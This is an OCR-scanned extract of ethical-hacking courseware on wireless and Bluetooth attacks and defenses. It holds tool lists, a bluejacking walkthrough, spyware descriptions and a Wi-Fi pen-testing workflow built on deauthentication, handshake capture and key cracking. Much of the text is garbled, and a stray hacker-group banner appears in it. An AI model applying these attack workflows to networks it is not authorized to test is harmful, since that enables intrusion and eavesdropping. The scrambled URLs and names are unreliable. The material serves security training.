http://kwifimanager.sourceforge.net http:/fuwww.newsteo.com

NetworkControl l' DTC-340 RFXpert

http:/fwanw arachnoid, com http:ffwwaw. dektec.com

Home Curfew RF Monitoring

System
http:/fsolutions. 3m.com

Sentry Edge Il

http:/fwan tek.com

WaveNode SigMon

http:fwane wavenode.com http:fwwwsat.com
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. Wi-FiTraffic Analyzer Tools

OneTouch™ AT Net k
AirMagnet WiFi Analyzer Neauc etwor

http:/ v flukenetworks.com 2 Assistant
http: v flukenetworks.com

OptiView® XG Network
Analysis Tablet

http:/fwaanw, flukenetworks.com

Capsa Network Analyzer
http:/fwww. colasoft.com

SoftPerfect Network Protocol

Analyzer
http:/fwww.softperfect.com

Observer
http:/fwaaw netinst. com

Ufasoft Snif | OmniPeek Network Analyzer

http:/fufasoft.com http:fwwwwildpackets.com

vxSniffer [ ] CommView for WiFi
http:/fwan, combridgevi.com (31 http: v tamos. com
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Wi-Fi Raw Packet Capturing and
Spectrum Analyzing Tools

Raw Packet Capturing Tools Spectrum Analyzing Tools

Hﬁ[ 1 WirelessNetView - Cisco Spectrum Expert
=1 http:/fwvnwnirsoft.net RE http://www.cisco.com

: 4

Tepdump AirMedic® USB

http:/fwaan tepdump.org httpe/wanwe flukenetworks.com

Airview 4 AirSleuth-Pro
http:/fairview.sourceforge.net - http:/fnutsaboutnets.com

BumbleBee-LX Spectrum

Analyzer
http:f Ao bysystems.com

RawCap

http:/fwan netresec.com

Airodump-ng [ ‘ Wi-Spy

http:/fwunw aircrack-ng.org _ httpeffwnnw.metogeek.net
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Wireless Hacking Tools for Mobile:
WiHack and Backtrack Simulator

WiHack Backtrack Simulator

4 WiHack is a program for hacking Wi-Fi, which is J  Backtrack Simulator is simulated with Fern Wi-Fi
able to crack WPA, WPA2, and WEP keys Cracker, Fern Wi-Fi Cracker can crack WEP, WPA,
and WPA2 secured wireless networks

type date name key type signal
DIR-300NMREURG

I

| |

Paise | Stop } ; :

= . . : | Res

Scan interyval " Al

]

|

|

AR I"'"\-'I m 4
b ol

TREOEREEERERE

AT ——,

Sniffing : 3e2schkokriCoGe KA aabi

Thare lsrm'. Message For You!

E
|

https://wihack.com https://play.google.com
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. Bluetooth Hacking

Bluetooth hacking refers to exploitation of Bluetooth stack implementation vulnerabilities
to compromise sensitive data in Bluetooth-enabled devices and networks

Bluetooth enabled devices connect and communicate wirelessly through ad hoc networks

known as Piconets

Bluesinaching

DoS attack which everflows Bluetooth-enabled devices
with random packets causing the device to crash

Bluejacking

The art of sending unsolicited messages over
Bluetooth to Bluetooth-enabled devices such as
mobile phones, laptops, etc.

Blue Snarfing

The theft of information from a wireless device through
a Bluetooth connection

BlueSniff

Proof of concept code for a Bluetooth wardriving
utility

2

Blucbuyyiny

Remotely accessing the Bluetooth-enabled devices
and using its features

BluePrinting

The art of collecting information about Bluetooth-
enabled devices such as manufacturer, device model
and firmware version

MAC Spoofing Attack

Intercepting data intended for other Bluetooth-
enabled devices

Man-in-the-Middle/ Impersonation Attack

Meodifying data between Bluetooth-enabled devices
communicating in a Piconet
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Bluetooth Modes

TcRIP. | AT Discoverable modes

I 1. Discoverable: Sends inquiry responses to
PPP all inquiries

Limited discoverable: Visible for a certain

period of time
RFCOMM

Mon-discoverable: Never answers an
inquiry scan

o
2o
- 2
S C)
i
i: (=)
2
= B
i
T
= :i
ey
-

Pairing modes

1. Non-pairable mode: Rejects every pairing

request
Link Manager

2. Pairable mode: Will pair upon request

Baseband

Bluetooth Radio

Transport Protocol
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LD

Bluetooth Threats

Leaking Calendars and
Address Books

Attacker can steal user's personal
information and can use it for malicious
purposes

Bugging Devices

Attacker could instruct the user to make a

phone call to other phones without any
user interaction. They could even record
the user’s conversation

Sending SMS Messages

Terrorists could send false bomb threats
to airlines using the phones of
legitimate users

Causing Financial Losses

Hackers could send many MMS
messages with an international user's
phone, resulting in a high phone bill

Remote Control

Hackers can remotely control a phone
to make phone calls or connect to the
Internet

Social Engineering

Attackers trick Bluetooth users to lower

security or disable authentication for E*“
Bluetooth connections in order to pair TEARIAAAANAS
with them and steal information

Malicious Code

Mobile phone worms can exploit a .
Bluetooth connection to replicate and g“

spread itself

Protocol Vulnerabilities

Attackers exploit Bluetooth parings and
communication protocols to steal data,
make calls, send messages, conduct DoS
attacks on a device, start phone spying, etc.
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How to BlueJack a Victim

J Bluejacking is the activity of sending anonymous messages over Bluetooth to

Bluetooth-enabled devices such as laptops, mobile phones, etc. via the OBEX

protocol

d  Select an area with

plenty of mobile
users, like a cafe,
shopping center, etc.

Go to contacts in your
address book (You can
delete this contact
entry later)

Create a new contact
on your phone address
book

Enter the message into
the name field

Ex: "Would you like to
go on a date with
me?"

AL T
n DS TIN0E

d Save the new contact

with the name text and
without the telephone
number

Choose "send via
Bluetooth". These
searches for any
Bluetooth device
within range

V’E%%

Choose one phone from
the list discovered by
Bluetooth and send the
contact

You will get the message
"card sent" and then
listen for the SMS
message tone of your
victim's phone
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Bluetooth Hacking Tool:
PhoneSnoop

PhoneSnoop is BlackBerry spyware that . 2 |t exists solely to demonstrate the
enables an attacker to remotely activate capabilities of a BlackBerry handheld when
the microphone of a BlackBerry handheld and used to conduct surveillance on an individual

listen to sounds near or around it, PhoneSnoop is &

2 ltis purely a proof-of-concept application and
a component of Bugs - a proof-of-concept does not possess the stealth or spyware features

spyware toolkit that could make it malicious

T T I I R e R T S e

EFD ©11:39PM T oFF Name: PhoneSnoop * |
sentinel F) Version: 1.0
Vendor: ZenConsult

™ Downloads
Eon The application was successfully
installed.

PhoneSnoop

¥ |

hﬁp:f;’wmv,bfackﬁen}ammm
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Bluetooth Hacking Tool:
BlueScanner

A Bluetooth device
discovery and
vulnerahility
assessment tool for
Windows

Discover Bluetooth devices
type (phone, computer,
keyboard, PDA, etc.), and the
services that are advertised
by the devices

Records all information that
can be gathered from the
device, without attempting
to authenticating with the
remote device

b Srubs Meteorks BhueScanner = Bhuriooth Deace Ducovery

. arfacrs iRl Lawt
I*B"-‘-_Imlk :F.W

4 Apply Fites

Lazl Senn
Mo [1]

Loostiomn
Mon= [1]

Typs
Colular Fhone [1]

Swivai
Disdup nebvwaadondg [1)
FMokoa PC Sems i)
(e
Woce Galeway (1)
Sl Crslewaw i)
Urikrean [4]
PMlatassik Sccae: Poaanl Seracn (1]
QEEX Digect P (1]
QBEX Fibw Trane [T
Mihag Sl Seveir 1]
Sprechll Chent [1)
Music-Plages 1]
Pk Plapes [
S ACCESS 1)

Hide Inac e Devioes

B e

: Sirhe
FIE &Y REF50)

Fasl Sawnd astein
TR0 & 17163 (8]
020 s 1T T

TipivFlags

Calula Pheor
s
She

Elueraath Deace |nformation

Sirrlen

[ 1EAR ZAERD)
Gerowal | vy 507

@

Phalliis sl st ivad

Hokis PC Sute

CoM

‘Wim 5 i

et 5l it

Urikersaean

Ukriratin

Linbrinn

Hetwask docess Point Senace

Uirionoen

OEEX Obgsct Push
DDEs Fils Toarmler
Hzbay SreHl Sprmd
Swnch], Clord

Mg +ieey

|

http:/fwww.arubanetworks.com
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BH Bluelack

http://croozeus.com

Bluesnarfer
http:/fwana alighieri.org

btCrawler
http:/fwaaw silentservices.de

Bluediving

http:/fbluediving. sourceforge.net

Blooover Ii
http:/ftrifinite.org

Bluetooth Hacking Tools

btscanner
http:/fwww. pentest.co.uk

CIHwWBT

http:/fsourceforge.net

BT Audit

http:/ftrifinite.org

Blue Alert
http:fwww. bluejackingtools. com

Blue Sniff

http:/fbluesniff. shmoo.com
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How to Defend Against Bluetooth
Hacking

Use non-regular patterns as PIN
keys while pairing a device. Use
those key combinations which are
non-sequential on the keypad

Keep the device in non-discoverable
(hidden) mode

Keep a check of all paired devices
in the past from time to time and
delete any paired device which you
are not sure about

Keep BT in the disabled state, enable
it only when needed and disable
immediately after the intended task
is completed

DO NOT accept any unknown and
unexpected request for pairing
your device

Always enable encryption when
establishing BT connection to
your PC
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How to Defend Against Bluetooth
Hacking (Contd)

Set Bluetooth-enabled device network range to the lowest and perform
pairing only in a secure area

Install antivirus which support host-based security software on Bluetooth-
enabled devices

Change the default settings of the Bluetooth-enabled device to a best
security standard

Use Link Encryption for all Bluetooth connections

If multiple wireless communication is being used, make sure that
encryption is empowered on each link in the communication chain
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How to Detect and Block
CIEH

Rogue AP

Detecting Rogue AP Blocking Rogue AP

) - Deny wireless service to new clients by
RF Scanning launching a denial-of-service attack
Re-purposed access points that do only packet (DoS) on the rogue AP
capturing and analysis (RF sensors) are plugged
in all over the wired network to detect and
warn the WLAN administrator about any
wireless devices operating in the area

Block the switch port to which AP is
connected or manually locate the AP
and pull it physically off the LAN

AP Scanning

Access points that have the functionality of detecting
neighboring APs operating in the nearby area will
expose the data through its MIBS and web interface

Using Wired Side Inputs

Network management software uses this technique to
detect rogue APs. This software detects devices
connected in the LAN, including Telnet, SNMP, CDP
(Cisco discovery protocol) using multiple protocols
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Wireless Security Layers

Wireless Signal Security

RF Spectrum Security, Wireless IDS

Connection Security

Per-Packet Authentication, Centralized
Encryption

Device Security

Vulnerabilities and Patches

Data Protection

WPA2 and AES

Network Protection

Strong Authentication

End-user Protection

Stateful Per User Firewalls
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How to Defend Against Wireless
C|IEH
Attacks o

Configuration SSID Settings Authentication
Best Practices Best Practices Best Practices

Change the default SSID after Disable remote router login and
WLAN configuration wireless administration

Set the router access password and Enable MAC Address filtering on your
enable firewall protection access point or router

Enable encryption on access point

Disable SSID broadcasts and change passphrase often
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How to Defend Against Wireless clEH
Attacks (Contd) s

Configuration SSID Settings | Authentication
Best Practices Best Practices Best Practices

Use SSID cloaking to keep certain default wireless messages from broadcasting the ID to everyone

Do not use your SSID, company name, network name, or any easy to guess string in passphrases

Place a firewall or packet filter in between the AP and the corporate Intranet

Limit the strength of the wireless network so it cannot be detected outside the bounds of your
organization

Check the wireless devices for configuration or setup problems regularly

Implement an additional technique for encrypting traffic, such as IPSEC over wireless
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How to Defend Against Wireless ClEH
Attacks (Contd)

Cortiffed § Evhlesl Hachar

Configuration SSID Settings Authentication
Best Practices Best Practices Best Practices

Choose Wi-Fi Protected Access
(WPA) instead of WEP

Place wireless access points in a
secured location

Implement WPAZ Enterprise
wherever possible

Keep drivers on all wireless
equipment updated

Disable the network when not
required

Use a centralized server for
authentication
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How to Defend Against Wireless
Attacks (Contd)

e Use RADIUS VDN Server Exchange Database
v Wireless IDS Server Server Server

= -
i

Internet

o ihentiate WiE i o g7f UseIPSECior Ui
- Users Using RADIUS e Intranet Access

Y/ Use MAC Filtering _ :  Enterprise

-\}f Enahleg WPA2 - ol Netwnrk

Liser

.~ Use Complex
\// Password

Disassociate x Disable
Unauthorized Users Broadcast SSID
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Wireless Intrusion Prevention
Systems

Airsnarf Attack

Wireless intrusion prevention ‘

. Fi Traffic
Chopchop Attack systems protect networks against —
5 nitoring
wireless threats, and enable

administrators to detect and Client Intrusion

Day-zero Attack prevent various network attacks Prevention

Network Intrusion
Pavice Piobiiig Rogue |dentification Detection .

and Containment

Unauthorized
Association | Probing and
Dizcoy

Fragmentation | A .
Attack . Impersonation Detection Denial-of Sen:rlce
~— and Prevention Attack Detection

Location Tracking

Honeypot
yp ) ASLEAP WEP MITM MAC  Fake DHCP

Attack Crack Attack Spoofing Server

Copyright © by EG-Counell, All Rights Reserved. Reproduction is Strictly Prohibited.

HaCkRhIn0-TeaM /dé kript/ by HaCkRhInO-TeaM HaCkRhIn0O-TeaM




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhIn0-TeaM wE FrEE t0 FIY HaCkRhIn0-TeaM

Wireless IPS Deployment

Internet

-

Authentication ¢+ hase  Mail Server =N : f 7 -a
Server YORY : / Wi-Fi Access

Paint

>
=0
o
=
}I.

o ——

Intrusion |
Prevention |
System

Public Wi-Fi Network
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Wi-Fi Security Auditing Tool:
AirMagnet WiFi Analyzer

It is a Wi-Fi networks auditing
and troubleshooting tool

: i & AirMagnet YT Analyzer PRD - dema 6,45%
J Automatically detects S| 24564 + | @ - 4 G =
security threats and other Star ) (B3 Cunoomd ] Ju iDviont [ ACLCI SIS oot
. L
wireless network

vulnerabilities

T ICIBBI A

It detects Wi-Fi attacks T
such as Denial of Service :
attacks, authentication/

encryptions attacks, =

. S50 (280
network penetration i

FOFBFRIGRERT]
S8BT 13D

O MM -TEST-APR PCPRFD; G PSR 00
B IO o, LR RR HERERR 1)
Aty =3 = ks S e

o5 Infssinucts £ i b

attacks, etc. ip ap G NeesrDRBSID  OUIEZDROND

- 5 5TA[ET) =
5 Compunt (34 - ~ @ Ry
It can locate unauthorized e Dkt L
5 (B Secusy IDEAPS A 112,800
(rogue) devices or any ® Pecceviisair | CAWEE
o . —~ K xshion Vidneshider
policy violator O et
L 05 - Secuiy Penatiation
= [ Foges &7 and Siston
] & B3 User suthentication & Encrepion
1365 M ulcan 35 | = W Prdorrincs Vlalin

7 oI = 5 Deploymert and Dperation Ence Performance Vi laton
a1 07 B3 ¥ Managemen |-
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http://www.flukenetworks.com
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Wi-Fi Security Auditing Tool: Motorola’s c E H
AirDefense Services Platform (ADSP)

Y [ )
Alarms  ©g

Stabe g Mrbefense 5., = General j Security ] Inhnm:lunl Perfarmance |

Aetmnrk | " --l:'-llllﬂﬂl'l. - Custam? L I lll.lnul._\

Uas h|||u|'|| Lompanenty

SENER YR A, What does AirDefense do?

T' Applisnce Stahs
& 555 by Configuration o AirDefense provides single Ul-based platform for wireless monitoring, intrusion
W Bsse by Last Seen protection, automated threat mitigation, etc.

B Dhevics Table

o It provides tools for wireless rogue detection, policy enforcement, intrusion
prevention and regulatory compliance

W Devioss by Configurstii
W Devipss by Last Seen
= infrastructurs Everts b It uses distributed sensors that work in tandem with a hardened purpose-built
Y Tt Thekr oming ineraied server appliance to monitor all 802.11 (a/b/g/n) wireless traffic in real-time

@ Infrastructure Status

= PP It analyzes existing and day-zero threats in real-time against historical data to
accurately detect all wireless attacks and anomalous behavior

= Last % Infrastructure &
o ey e e T It enables the rewinding and reviewing of detailed wireless activity records that
O assist in forensic investigations and ensure policy compliance

i 113 Stat

-_ Performance Threat by
i fraiructore OweErvievr
= Performanes Threat by
[ AR, 1ar
& Performance Yilsbors M Danca, Mama
B Folicy Complanos h Apg

L ! Wirad Swiltchas

W Potied Wirsleis Cliant wired Switches
Wireless Switches

Gtk Taeurity Wik Wireless Swre.,
SEnsors

; e e L SEMEONS

& Radio Chaninel Breskd e wirglgss Chants

= Rogue Wirelsss Somass RS

hitp://www.motorolasolutions.com
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Wi-Fi Security Auditing Tool: clEn

Adaptive Wireless IPS

rl||¢|||l

User: pooft @ Victual Domaen; ook ™
Configure = Services *  Administration = T E {l I, Logout
System @ Advanced Parameters: sanity-mse
Services = MOy Serices = System » Advanced Paameters
o] demremral Proparking
| KHSF Pasametors

Eafiaral Inforfmatian Chita UDE

A Fraduct Hams Cogcn Moty Servoos Engene Product Tdentifier (PTG AR =MSE=3310-K%
] Active Sestons
Trap Deghinations Warsion L L Wersion Identified (VID) Wil

] Advanced Paramelers Started At 2 1:49 PM Serial Humber (5N) Mot Specified

i) Logs Current Server Time 2/ 284 &M
Advanced Paramiters

i Acceunts T A -1 I
e O e merce/Los_Angeles Advanced Debug @

¥ Scatus
Hardware Restarts 10

¥ ] Manbenance Rumber of Davs to keep Events 2
dctive Sessons i

Confest Aware Sarveoe Session Timeout E.H

WIPS Service 0 Logging Options Absant Data clesnup intarval e

Logging Level Trace
MIR Servics =
Cone Engine =] Enahia

R b ool Hiseaiim

J  Adaptive Wireless IPS (WIPS) provides wireless-network
threat detection and mitigation against malicious attacks and
security vulnerabilities

an Comiiguiabon

bt Brakad s

J It provides the ability to detect, analyze, and identify wireless

threats
http://www.cisco.com
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Wi-Fi Security Auditing Tool:
Aruba RFProtect

Integrated wireless intrusion

detection and prevention

Automatic threat mitigation for

;i;-.ntrall'gnllf:I eual-ua:ing fure.n?it: YOU ARE Now
o b s i IN AWIFI AREA |

configuration

'ttl mﬂ poﬁcy mandatesfor PCI,
HIPAA, DoD 8100.2, and GLBA
with automated report
_d:stnlmtinn ﬁmt istaﬂured to

-
=

http://www.arubanetworks.com
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Wi-Fi Intrusion Prevention

Extreme Networks Intrusion

Prevention System
http:/fwasw extremenetworks, com

AirMagnet Enterprise
http:/ v, flukenetworks.com

Dell SonicWALL Clean

Wireless
http:/Swainae sonicwall.com

HP TippingPoint NX Platform
NGIPS

http:/waag hp.com

AirTight WIPS

http:/fwan airtightnetworks. com

Network Box IDP

hittp:/fwwnetwork-box. com

AirMobile Server

http:/fwwwoirmobile.se

Wireless Policy Manager
(WPM)

http:fwww, airpatralcorp.com

ZENworks® Endpoint Security

Management
http:/fwww.novell.com

FortiWiFi

http: S wwwe fortinet.com
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€ t EZ Predictive RF
AirMagnet Planner e R

http:/ v flukenetworks.com { CAD De sIgn
http: v connect802.com

Cisco Prime Infrastructure Ekahau Site Survey (ESS)

http:/ /v cisco.com - http:/fuwwwekohou.com

AirTight Planner ZonePlanner
http:/fwan airtightnetworks. com 1 http:ffwnw ruckuswireless.com

LANPlanner S Wi-Fi Planning Tool

http:/fwane motorolosolutions.com http:fwww.aerohive.com

RingMaster I TamoGraph Site Survey

http:/fwaane juniper. net http: v, tamos. com
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Wi-FiVulnerability Scanning

Zenmap . WiFish Finder

http://nmap.org : &= hittp:/fwww airtightnetworks.com

Penetrator Vulnerability

Scanning Appliance
http:/fwwwe, secpoint.com

Nessus
http:/fwana tenable.com

OSWA-Assistant (el SILICA

http:/fsecuritystartshere.org £ \ http:/fwsw immunityinc. com

Network Security Toolkit ) WebSploit

http:/fnetworksecuritytoolkit.org http:/fsourceforge.net

Nexpose Community Edition e Airbase-ng
http:/fwanw rapid7.com ! http: S www. aircrack-ng.org
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Bluetooth Security Tool:
Bluetooth Firewall

J FruitMobile Bluetooth
Firewall protects your
android device against all
sorts of bluetooth attack
from devices around you

It displays alerts when
bluetooth activities takes
place

You can also scan your
device and detect apps with
bluetooth capabilities

% m] tﬁ 2:28 pm
a\l Bluetooth
__,-" Firewall

g &8 6 @

View Log Settings Help

g\. Bluetooth
J Firewall

& application(s) detected with bluetooth
capabilities
Tap on each app to view details

niuetooth actions

Capable of all biuetooth actions

Lapdihie Ol gl DILETOOLN af Iz
Bl

luetooth Metwork Communication

| gy |

Bluetooth Metwark Communication

http://www. fruitmobile.com
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Wi-Fi Security Tools for Mobile: Wifi
Protector, WiFiGuard, and Wifi Inspector

Wifi Protector WiFiGuard Wifi Inspector

sl 100% @ 203
Wifi Protector

Startup

Auto Start

Inspector

Notification

Know who is cc ctad!
NDt!f!CﬂtIDn SEEtII’!gS now'y onnecie
otificatic attings ".I'.larnlngl

Countermeasures .al:.nu-..._.-IJL.-.Ll.r;u..._-

Immumt; (RUUT]

AOOT]|Restore  Get Info
tic immiL ||,-- prevent Vf I I

Finishing

future dCKS enabled

; Scan Exit
reqLered)

Disable Wi-Fi on attack

Don't change Wi-Fi state
Expert settings

802.11 BSSID

parts of) the BS5ID with the

;’]ﬂp.‘fffﬂrﬂm. xda-developers.com https://play.google.com https://play.google.com
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IModule Flow

i : i [~ I~
Wireless ’ Wireless _ :
QQQQ Concepts Encryption m Wireless Threats

P S

=I=i=l Wireless Hacking Wireless Hacking Bluetooth
FIE% Methodology Tools Hacking

. Wireless Security

Tools Wi-Fi Pen Testing
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Wireless Penetration Testing

J The process of actively evaluating information security measures implemented in a wireless network
to analyze design weaknesses, technical flaws and vulnerabhilities

J A comprehensive report in detail about the findings along with the suite of recommended
countermeasures is delivered to the executive, management, and technical audiences

Threat Assessment Security Control Auditing

o j*ﬁ,- Identify the wireless threats facing an ] To test and validate the efficiency of wireless
~ organization's information assets security protections and controls

Upgrading Infrastructure - Data Theft Detection

Risk Prevention and Response Information System Management

Provide comprehensive approach of
preparation steps that can be taken to
prevent inevitable exploitation

Collect information on security protocols,
network strength and connected devices
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Wireless Penetration Testing
Framework

Discover wireless devices

Wireless Pen Testing Framework
(©) sart
v

If wireless device is found, document
all the findings

If the wireless device found using Wi-Fi
network, then perform general Wi-Fi
network attack and check if it uses
WEP encryption

Perform WEP
Penetration

If WLAN uses WEP encryption, then g

perform WEP encryption pen testing or
else check if it uses WPA/WPA2
encryption

If WLAN uses WPA/WPA2 encryption,
then perform WPA/WPA2 encryption
pen testing or else check if it uses LEAP
encryption

Document all
the Findings

If WLAN uses LEAP encryption, then -
perform LEAP encryption pen testing or

else check if WLAN is unencrypted

FE RS EE NSNS R

If WLAN is unencrypted, then perform Perform General :
unencrypted WLAN pen testing or else : - ? fexes Wi-Fi Network €reesterssesseser
perform general Wi-Fi network attack Attack
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Wi-Fi Pen Testing Framework

General penetration steps for all Wireless networks:

Create a rogue access point
Create Rogue

> Deauthenticate the client using the tools such as
Access Point

Karma, Hotspotter, Airsnarf, etc., and then check for
client deauthentication

. If client is deauthenticated, then associate with the
. client, sniff the traffic and check if passphrase/
x certificate is acquired, or else try to deauthenticate

Use tools such as the client again
s afmasaians KKarma, Hotspotter,
Airsnarf, etc.

>

If passphrase is acquired, then crack the passphrase
using the tool wzcook to steal confidential information
or else try to deauthenticate the client again

{......u.

- -. :/'
Associate Client 1sseep v > Crack the o Use the tool
Passphrase wzcook

o
-
.
[
.
-
.
m
-
-
I
.
.
.
.
.
-
.
[
m
.
H
.

v
Steal
Confidential
Information

Copyright © by EG-Eomneil. All Rights Reserved. Reproduction is Strictly Prohibited.




Pen Testing LEAP Encrypted

Break LEAP

v
Steal
Confidential
Information

Deauthenticate the
client using tools such
as Karma, Hotspotter,
Airsnarf, etc.

If client is
deauthenticated, then
break the LEAP
encryption using tools
such as asleap, THC-
LEAP Cracker, etc., to
steal confidential
information or else try
to deauthenticate the
client again

Use tools such as
asleap, THC-LEAP
Cracker, etc.

EH.IN —TS | JIN
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Pen Testing WPA/WPA2 Encrypted

Deauthenticate the client using tools such as Karma, Hotspotter, Airsnarf, etc.

If client is deauthenticated, sniff the traffic and then check the status of capturing EAPOL handshake or else try to deauthenticate
the client again

If EAPOL handshake is captured, then perform PSK dictionary attack using tools such as coWPAtty, Aircrack-ng, etc. to steal
confidential information or else try to deauthenticate the client again
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Pen Testing WEP Encrypted

Check if the SSID is visible or hidden

If SSID is visible, sniff the traffic and then check the status of
packet capturing

If the packets are captured/injected, then break the WEP key
using tools such as Aircrack-ng, Airsnort, WEPcrack, etc., or else
sniff the traffic again

If SSID is hidden, then deauthenticate the client using tools such
as Aireplay-ng, Commview, etc., associate the client and then
follow the procedure of visible SSID
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Pen Testing Unencrypted
WLAN

Check if the 551D is visible or
hidden

If SSID is visible, sniff for IP range
and then check the status of MAC
filtering

If MAC filtering is enabled, spoof
valid MAC using tools such as
SMAC or connect to the AP using
IP within the discovered range

If SSID is hidden, discover the SSID
using tools such as Aireplay-ng,
and follow the procedure of visible
SSID
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.ﬁTEJEE 802.11 standards based Wi-Fi networks are widely used for communication

Q

Module Summary

3

e -J'ﬂ'ﬁlug...___

and data transfer across a radio network

A Wi-Fi infrastructure generally consists of hardware components such as wireless routers and APs,
antennas, relay towers and authentication servers, and software components such as encryption
algorithms, key management and distribution mechanisms

Most widely used wireless encryption mechanisms include WEP, WPA and WPA2, of which, WPA2 is
considered most secure

WEP uses 24-bit initialization vector (IV) to form stream cipher RC4 for confidentiality, and the CRC-32
checksum for integrity of wireless transmission

WPA uses TKIP which utilizes the RC4 stream cipher encryption with 128-bit keys and 64-bit keys for
authentication whereas WPA2 encrypts the network traffic using a 256 bit key with AES encryption

WEP is vulnerable to various analytical attack that recovers the key due to its weak Vs whereas WPA is
vulnerable to password brute forcing attacks

Wi-Fi networks are vulnerable to various access control, integrity, confidentiality, availability and
authentication attacks

Wi-Fi attack countermeasures include configuration best practices, 551D settings best practices,
authentication best practices and wireless I1DS systems
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